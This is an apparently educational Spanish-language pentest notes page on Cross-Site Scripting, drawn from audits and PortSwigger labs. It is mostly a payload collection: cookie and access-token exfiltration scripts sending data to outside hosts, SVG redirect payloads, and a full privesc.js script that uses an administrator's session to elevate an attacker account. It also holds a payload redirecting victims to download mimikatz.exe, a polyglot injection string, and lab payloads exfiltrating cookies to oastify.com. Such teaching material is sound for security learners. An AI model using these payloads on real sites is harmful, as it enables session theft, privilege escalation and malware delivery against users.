Las notas de R4z0r
YoutubeLinkedInConóceme
  • Bienvenido a las notas de R4z0r
  • Web App Pentest
    • Directory traversal / Path Traversal
    • Local File Inclusion (LFI)
    • Remote File Inclusion (RFI)
    • Cross-Site Scripting (XSS)
    • Cross-Site Request Forgery (CSRF)
    • Server-Side Request Forgery (SSRF)
    • Unrestricted File Upload
    • SQL/NoSQL Injection
      • SQL Injection
      • NoSQL Injection
    • Broken Access Control (BAC)
    • Insecure Direct Object Reference (IDOR)
    • User Enumeration
    • Sensitive Cookies Missing security attributes
    • Weak Password Policy
    • Use of GET Request Method With sensitive Query Strings
    • Insufficient Protection Against Brute Forcing
    • Unverified Password Change
  • LLM Hacking
    • Prompt Injection
    • Sensitive Information Disclosure
    • Supply Chain Vulnerabilities
    • Training Data Poisoning
    • Insecure Output Handling
    • Excessive Agency
    • Model Denial of Service (DoS)
    • Insecure Plugin Design
    • Overreliance
    • Misinformation
    • System Prompt Leakage
  • External Pentest
  • Internal Pentest
  • Mobile Pentest
  • Cloud Pentest
  • API Pentest
  • PortSwigger Labs
    • LLM Attacks
Con tecnología de GitBook
En esta página
  • Definición
  • Clasificación
  • Payloads
  • XSS Unrestricted File Upload
  • XSS + Unrestircted File Upload + Bypass CSP y CORS
  • XSS para descargar malware
  • All in one payload:
  • Lab Portswigger:
  • CSRF
  • BXSS Hunter
  • Recursos
  1. Web App Pentest

Cross-Site Scripting (XSS)

Definición

XSS (Cross-Site Scripting) es una vulnerabilidad de seguridad que permite a un atacante inyectar scripts maliciosos (generalmente en JavaScript) en una página web. Estos scripts se ejecutan en el navegador de otros usuarios, lo que puede permitir el robo de información sensible, como cookies o credenciales, o realizar acciones no autorizadas en nombre de la víctima.

Clasificación

  • XSS Reflejado: El código malicioso se envía como parte de la URL o un formulario y se refleja inmediatamente en la respuesta del servidor. El script solo se ejecuta cuando el usuario hace clic en un enlace malicioso.

  • XSS Almacenado: El código malicioso se guarda en el servidor, como en un comentario o publicación. Luego, cada vez que alguien ve esa página, el script malicioso se ejecuta en su navegador.

  • XSS Basado en el DOM: En un DOM-based XSS, el ataque ocurre dentro del navegador, manipulando el contenido dinámico que ves en la página. Aquí no hay una respuesta directa del servidor. El script malicioso se ejecuta porque el navegador toma los datos que ingresa el usuario y los inserta en la página sin verificar si son seguros. Esto puede ocurrir a través de sumideros, que son lugares en la página donde esos datos se insertan (como un campo de texto o una etiqueta de título).

Payloads

Alert box

<img src=x onerror=alert(1)>
<ScRiPt>alert(1)</sCriPt>
<image/src/onerror=prompt(8)>

Redirección

<script>window.location.href="https://r4z0r.gitbook.io"</script>

Exfiltración

<script>document.location='https://r4z0r.gitbook.io/XSS/grabber.php?c='+document.cookie</script>
<script>document.location='https://r4z0r.gitbook.io/XSS/grabber.php?c='+localStorage.getItem('access_token')</script>
<script>new Image().src="https://r4z0r.gitbook.io/cookie.php?c="+document.cookie;</script>
<script>new Image().src="https://r4z0r.gitbook.io/cookie.php?c="+localStorage.getItem('access_token');</script>

XSS Unrestricted File Upload

Estos ejemplos son ideales cuando tenemos subida de archivos a buckets S3 por ejemplo, donde si subimos un SVG que haga una redirección podemos demostrar un poco más de impacto en un XSS.

SVG Simple:

<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 500 500">
    <script>//<![CDATA[
        alert(document.domain)
    //]]>
    </script>
</svg>

SVG + Redirección :

<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 500 500">
<script type="text/javascript">
   setTimeout(function() {
      window.location.replace("https://r4z0r.gitbook.io");
   }, 1000);
</script>
</svg>

XSS + Unrestircted File Upload + Bypass CSP y CORS

En el siguiente ejemplo tenemos un caso real donde un cliente era vulnerable a XSS a través de un campo descripción, supongamos que era para guardar un curso, bueno, en la descripción del curso era vulnerable a XSS.

privesc.js:

(async function () {
    console.log("[*] Verificando cuenta...");
    // Variables de configuración
    const initSessionUrl = "https://vulnerablesite.com/web/init-session";
    const elevatePrivilegesUrl = "https://vulnerablesite.com/user/data";
    const targetEmail = "razor@hackermail.com";
    const headers = {
    "Sec-Ch-Ua-Platform": '"Linux"',
    "Accept-Language": "en-US,en;q=0.9",
    "Accept": "application/json, text/plain, */*",
    "Sec-Ch-Ua": '"Not?A_Brand";v="99", "Chromium";v="130"',
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
    "Sec-Ch-Ua-Mobile": "?0",
    "Sec-Fetch-Site": "same-site",
    "Sec-Fetch-Mode": "cors",
    "Sec-Fetch-Dest": "empty",
};

try {
// Paso 1: Verificar cuenta
const sessionResponse = await fetch(initSessionUrl, {
    method: "GET",
    headers,
    credentials: "include", // Enviar cookies con la solicitud
});
if (!sessionResponse.ok) {
    console.error("Error al verificar la cuenta:", sessionResponse.status);
    return;
}
const sessionData = await sessionResponse.json();
const { correo, roles, permissions } = sessionData.userData;
console.log(`[$] Cuenta de ${correo} obtenida, listando roles:`);
console.log(`[#] Roles de ${correo}:`);
console.log(roles);
console.log(`[#] Permisos de ${correo}:`);
console.log(permissions);
// Paso 2: Elevar privilegios
console.log(`[*] Elevando privilegios al usuario ${targetEmail}...`);
const elevationPayload = JSON.stringify({
    userId: 100, // ID del usuario objetivo
    perfiles: [1, 2, 3], // Perfiles administrativos
});
const elevationResponse = await fetch(elevatePrivilegesUrl, {
    method: "PUT",
    headers: {
    ...headers,
    "Content-Type": "application/json;charset=UTF-8",
    },
    body: elevationPayload,
    credentials: "include", // Enviar cookies con la solicitud
});
if (elevationResponse.ok) {
    console.log("[$] Permisos administrativos otorgados");
} else {
    console.error("Error al intentar elevar privilegios:", elevationResponse.status);
}
} catch (error) {
    console.error("Error en el script:", error);
}
})();

Este archivo se subió a un bucket S3 aprovechando la vulnerabilidad Unrestricted File Upload.

Una vez que se subió el archivo javascript el cual iba a otorgar permisos administrativos a su usuario de pruebas se procedió a enviar la siguiente request:

HTTP Request:

PUT /update-course HTTP/2
Host: vulnerablesite.com
Cookie: [REDACTED]
Content-Length: 299
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Accept: application/json, text/plain, */*
Sec-Ch-Ua: "Not?A_Brand";v="99", "Chromium";v="130"
Content-Type: application/json;charset=UTF-8
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Chrome/130.0.6723.70 Safari/537.36
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

{"id_course":100,"name":"Curso de hacking","authorId":"baster","initDate":"2023-11-
20","description":"<img src=x
onerror=import('//files.vulnerablesite.com/privesc.js')>",[REDACTED]

En la solicitud previa lo único que cambia es que se agrega una imagen que cuando se genera un error porque no se lo encuentra llama al privesc.js del bucket, ejecutándose en el contexto del usuario que esté observando el curso actual. Cuando el administrador vea el curso y se inter

Por detrás la solicitud que viaja es la siguiente:

HTTP Request:

PUT /user/data HTTP/2
Host: vulnerablesite.com
Cookie: [cookies-del-admin]
Content-Length: 51
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Accept: application/json, text/plain, */*
Sec-Ch-Ua: "Not?A_Brand";v="99", "Chromium";v="130"
Content-Type: application/json;charset=UTF-8
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/130.0.6723.70 Safari/537.36
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

{"userId":100,"perfiles":[1,2,3]}

Como la solicitud la ejecuta un administrador, hace que el usuario atacante en este caso con userId 100 eleve sus privilegios al asignarse los perfiles administrativos 1, 2 y 3.

El archivo JS en el bucket permite que pase desapercibido y al ser de un dominio confiable (vulnerablesite.com) permite la carga del mismo respetando las políticas de CORS y CSP. Es decir,

Condiciones para que este ataque se dé:

  • Que haya XSS.

  • Que esté sobre un dominio confiable el bucket. En este caso estaba sobre el dominio vulnerablesite.com pero hay otros casos donde las respuestas

XSS para descargar malware

En este ejemplo vemos un XSS donde previamente se podía subir malware a un Bucket S3 por lo que se concate el XSS con el Unrestricted File Upload:

<img src="x" onerror="window.location='https://s3-us-west-2.amazonaws.com/s3delcliente/mimikatz.exe'"> 

All in one payload:

--'`">kdskf${{2*2}}

Explicación

- '"` Javascript injection test
- '`"> html tag attribute test
- <img src=x> HTML injection
- ${{7*7}} CSTI + SSTI
- --'`" SQLi

Lab Portswigger:

XSS Desde cookie, donde los : separa el nombre y un valor.

Cookie: session=wiener%3ae0hwd5p2JQKVufWE4z3mbesFLYx0LHKT

Seleccionamos selected scan insertion point, en weiner, como toma esa porción ahí descubre un xss y luego usa este payload:

'"><svg/onload=fetch//hl60f8zeb1m95gpvcbtbqlocs3yxmoag04ruek29\.oastify.com>:e0hwd5p2JQKVufWE4z3mbesFLYx0LHKT

Luego exfiltramos la cookie:

'"><svg/onload=fetch(//krful7seb3858z59fo61x0v79yfp3fr4.oastify.com/${encodeURIComponent(document.cookie)})>:e0hwd5p2JQKVufWE4z3mbesFLYx0LHKT

CSRF

Hay otros ejemplos donde si no podemos robar una cookie de usuario podemos llevar al usuario víctima a ejecutar acciones sin su consentimiento lo que se conoce como CSRF

BXSS Hunter

Una buena alternativa a buscar XSS es la herramienta BXSS que te entrega diferentes payloads y se si triggerea un XSS te llegará toda la información a la plataforma:

Recursos

AnteriorRemote File Inclusion (RFI)SiguienteCross-Site Request Forgery (CSRF)

Última actualización hace 1 mes

Disclaimer: Los casos y ejemplos mostrados en esta sección forman parte de auditorías y evaluaciones de seguridad realizadas en el contexto de proyectos profesionales con . No se divulga información sensible, interna o específica de ningún cliente, y se ha tenido especial cuidado en proteger su confidencialidad. Además, cualquier vulnerabilidad mencionada o ilustrada en estos ejemplos ya ha sido corregida de manera responsable, siguiendo los procesos adecuados de remediación y comunicación con los respectivos equipos. Este contenido es compartido únicamente con fines educativos y de mejora continua en prácticas de seguridad.

Resulta que para este caso, no había forma de saltar las políticas y , por lo que el hacker decidió crear el siguiente script:

Link al laboratorio:

Hackmetrix
CSP
CORS
B4st3r
https://portswigger.net/web-security/essential-skills/using-burp-scanner-during-manual-testing/lab-scanning-non-standard-data-structures
Cross-Site Request Forgery (CSRF)
https://bxsshunter.com/
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
https://github.com/payloadbox/xss-payload-list
https://infosecwriteups.com/bypassing-csp-via-url-parser-confusions-xss-on-netlifys-image-cdn-755a27065fd9
XSS Ejecutado
BXSS